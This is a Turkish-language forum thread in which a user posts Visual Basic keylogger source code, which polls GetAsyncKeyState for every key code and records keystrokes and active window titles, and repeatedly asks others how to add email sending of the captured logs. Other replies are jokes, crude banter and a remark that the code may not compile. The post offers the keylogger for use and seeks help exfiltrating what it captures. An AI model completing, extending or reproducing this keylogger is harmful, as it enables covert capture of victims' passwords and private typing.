tümü

visual basic key logger yaptım kodlu

  1. 1.
    0
    beyler aslında çok basit. ascıı kodlarını karaktere çevirdim ama e mail bağlantısı pek yapamadım. anlayan var mı ?

    forma yazacaksınız kodları

    Dim typein As String

    Private Sub Timer1_Tick(ByVal sender As System. Object, ByVal e As System. EventArgs) Handles Log. Tick

    For logger = 1 To 255
    typein = GetAsyncKeyState(logger)
    If typein = -32767 Then
    Select Case logger
    Case 1
    RichTextBox1.Text += ""
    Case 2
    RichTextBox1.Text += ""
    Case 3
    RichTextBox1.Text += "[ACHTUNG!!!]"
    Case 4
    RichTextBox1.Text += "[ACHTUNG!!!4]"
    Case 5
    RichTextBox1.Text += "[ACHTUNG!!!5]"
    Case 6
    RichTextBox1.Text += "[ACHTUNG!!6!]"
    Case 7
    RichTextBox1.Text += "[ACHTUNG!!!7]"
    Case 8
    RichTextBox1.Text += "[BackSpace]"
    Case 9
    RichTextBox1.Text += "[Tab]"
    Case 10
    RichTextBox1.Text += "[ACHTUNG!!!10]"
    Case 11
    RichTextBox1.Text += "[ACHTUNG!!!11]"
    ..
    .
    .
    .
    .
    .
    .
    bu araya ascıı kodlarının hepsini yazın . yapamazsanız ben numlock dahil hepsini yaptım isterseni atarım
    .
    .
    .
    .
    RichTextBox1.Text += "Ï"
    Case 208
    RichTextBox1.Text += "Ğ"
    Case 209
    RichTextBox1.Text += "Ñ"
    Case 210
    RichTextBox1.Text += "Ò"
    Case 211
    RichTextBox1.Text += "Ó"
    Case 212
    RichTextBox1.Text += "Ô"
    Case 213
    RichTextBox1.Text += "Õ"
    Case 214
    RichTextBox1.Text += "Ö"
    Case 215
    RichTextBox1.Text += "×"
    Case 216
    RichTextBox1.Text += "Ø"
    Case 217
    RichTextBox1.Text += "Ù"
    Case 218
    RichTextBox1.Text += "Ú"
    Case 219
    RichTextBox1.Text += "ğ"
    Case 220
    RichTextBox1.Text += "ç"
    Case 221
    RichTextBox1.Text += "ü"
    Case 222
    RichTextBox1.Text += "i"
    Case 223
    RichTextBox1.Text += "*"
    Case 224
    RichTextBox1.Text += "à"
    Case 225
    RichTextBox1.Text += "á"
    Case 226
    RichTextBox1.Text += "â"
    Case 227
    RichTextBox1.Text += "<"
    Case 228
    RichTextBox1.Text += "ä"
    Case 229
    RichTextBox1.Text += "æ"
    Case 230
    RichTextBox1.Text += "ç"
    Case 231
    RichTextBox1.Text += "è"
    Case 232
    RichTextBox1.Text += "é"
    Case 233
    RichTextBox1.Text += "ê"
    Case 234
    RichTextBox1.Text += "ë"
    Case 235
    RichTextBox1.Text += "ì"
    Case 236
    RichTextBox1.Text += "í"
    Case 237
    RichTextBox1.Text += "í"
    Case 238
    RichTextBox1.Text += "î"
    Case 239
    RichTextBox1.Text += "ï"
    Case 240
    RichTextBox1.Text += "ğ"
    Case 241
    RichTextBox1.Text += "ñ"
    Case 242
    RichTextBox1.Text += "ò"
    Case 243
    RichTextBox1.Text += "ó"
    Case 244
    RichTextBox1.Text += "ô"
    Case 245
    RichTextBox1.Text += "õ"
    Case 246
    RichTextBox1.Text += "ö"
    Case 247
    RichTextBox1.Text += "÷"
    Case 248
    RichTextBox1.Text += "ø"
    Case 249
    RichTextBox1.Text += "ù"
    Case 250
    RichTextBox1.Text += "ú"
    Case 251
    RichTextBox1.Text += "û"
    Case 252
    RichTextBox1.Text += "ü"
    Case 253
    RichTextBox1.Text += "ı"
    Case 254
    RichTextBox1.Text += "ş"
    Case 255
    RichTextBox1.Text += "ÿ"

    Case Else
    RichTextBox1.Text += Chr(logger).ToString
    End Select
    End If
    Next
    If strin <> GetActiveWindowTitle() Then
    RichTextBox1.Text = RichTextBox1.Text + vbNewLine & "[---" & GetActiveWindowTitle() & "---]" + vbNewLine
    strin = GetActiveWindowTitle()
    End If
    End Sub
    ···
    #115910269 şikayet
  1. 2.
    0
    adam cc hackliyor beyler kaçın
    ···
    #115910290 şikayet
  2. 3.
    0
    e mail bağlantısı için yardımcı olacak var mı???
    ···
    #115910298 şikayet
  3. 4.
    0
    @2 korkma amk bir tak yok
    ···
    #115910316 şikayet
  4. 5.
    0
    yıl olmuş 2013 onu derlesen bile çalışmaz ki a be evlat.
    ···
    #115910317 şikayet
  5. 6.
    0
    @5 yarram sadece günlük tutacak yeri kopyaladım istersen kodların tamdıbını atayım kontrol et.
    ···
    #115910350 şikayet
  6. 7.
    0
    up
    ···
    #115910574 şikayet
  7. 8.
    0
    @2 milleti kaçırdın amk
    ···
    #115910689 şikayet
  8. 9.
    0
    kodlu diyişine verdim şukuyu amk
    ···
    #115910811 şikayet
  9. 10.
    0
    lan o kadar yazdık programı yazrdım edecek yokmu. sonuna geldim artık. biliyom sizin için basit bi program olabilir vbde yeniyim.
    ···
    #115910912 şikayet